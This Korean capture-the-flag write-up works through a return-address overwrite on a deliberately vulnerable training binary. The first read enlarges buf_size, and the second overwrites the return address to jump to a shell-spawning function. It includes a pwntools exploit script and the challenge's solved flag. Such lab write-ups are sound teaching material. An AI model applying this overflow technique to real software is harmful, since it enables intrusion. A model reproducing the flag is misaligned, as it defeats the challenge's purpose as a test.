주어진 바이너리와 소스 코드를 분석하여 익스플로잇하고 플래그를 획득하세요! 플래그는 flag.txt 파일에 있습니다.
플래그의 형식은 DH{...} 입니다.
프로그램을 실행시키면 Menu:가 나오고 값을 입력하면 종료된다.

문제코드는 이렇게 있다

$ checksec chall
[*] '/root/pwn/678c0f29-2cf8-41d8-8d66-a2c17d4c3f9a/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
일단 문제 환경 설정을 보면 64bit 리틀엔디언이고, 보호기법으로는 canary와 PIE는 없고, NX와 Partial RELRO가 있는 것을 알 수 있다.
이번에는 chall.c를 분석해 본다.
// Name: chall.c
// Compile: gcc -fno-stack-protector -no-pie chall.c -o chall
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void flag() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main(int argc, char *argv[]) {
int stdin_fd = 0;
int stdout_fd = 1;
char fruit[0x6] = "cherry";
int buf_size = 0x10;
char buf[0x6];
initialize();
write(stdout_fd, "Menu: ", 6);
read(stdin_fd, buf, buf_size);
if(!strncmp(buf, "cherry", 6)) {
write(stdout_fd, "Is it cherry?: ", 15);
read(stdin_fd, fruit, buf_size);
}
return 0;
}
flag함수는 /bin/sh를 실행시키는 함수이다
main함수에 int형으로 stdin_fd,stdout_fd, cherry라는 문자열이 들어있는 6byte 크기의 fruit,0x10이 들어 있는buf_size,6byte 크기의buf 라는 변수들이 있다.
Menu: 라는 문자열이 출력 후 buf에 buf_size 크기만큼 입력을 받는다.
그리고 buf에 cherry가 들어있으면 Is it cherry?: 라는 문자열을 출력 후 fruit에 buf_size만큼 길이를 받는다.

환경에서 canary와 PIE(Position-Independent Executable)가 없고, 코드 내에 shell을 실행시키는 함수인 flag가 존재하며, buf가 buf_size의 크기보다 작은 것으로 보아 Return Address Overwirte 취약점이 발생할 것으로 보인다.
일단 buf_size가 buf의 크기보다 크기 때문에 stack buffer Overflow가 발생한다.
buf를 넘어 무슨 값들을 변화시킬 수 있는지는 gdb를 이용해서 확인을 한다.

AAAAAA 입력 후 확인해 보면 그 다음 cherry인 fruit가 오고 그 다음 buf 크기 10인 buf_size 후 stdout_fd, stdin_fd순으로 온다.
그리고 8byte 후에 return address가 있다.
Menu: 에서 cherry 입력 후 Is it cherry?: 에서 값을 입력할 때도 buf_size가 buf의 크기보다 크기 때문에 stack buffer Overflow가 발생한다.
하지만 return address까지 값을 변경시키기엔 buf_size가 작기 때문에 첫 입력 시에 buf_size 값도 변경시킨다.
flag함수의 주소는 PIE가 없어서 주소가 고정되기 때문에 실행파일에서 확인 후 넣으면 된다.

첫번째 입력에는 cherry 문자열과 비교하기 때문에 cherry 그리고 fruit은 아무 값을 넣고 buf_size 부분은 넉넉하게 0x30 으로 넣는다
두번째 입력 시작은 fruit 부분이기 때문에 6byte를 아무값을 넣어주고 그 다음 각각buf_size, stdout_fd, stdin_fd 4byte씩 그리고 8byte에 아무값들을 넣은 뒤에 return address 부분에 flag 함수 시작 주소인 0x4012bc를 넣어준다.
최종 익스플로잇
from pwn import *
p = remote()
p.send(b'cherry' + b'A'*6 + p8(0x30))
p.send(b'A'*26 + p64(0x4012bc))
p.interactive()
문제 shell에 접근한 뒤에 flag를 획득할 수 있다.

DH{0d88cd8c8c1123b99fb478e60ff081cea9bfecc925d72609ab061b8279c83709}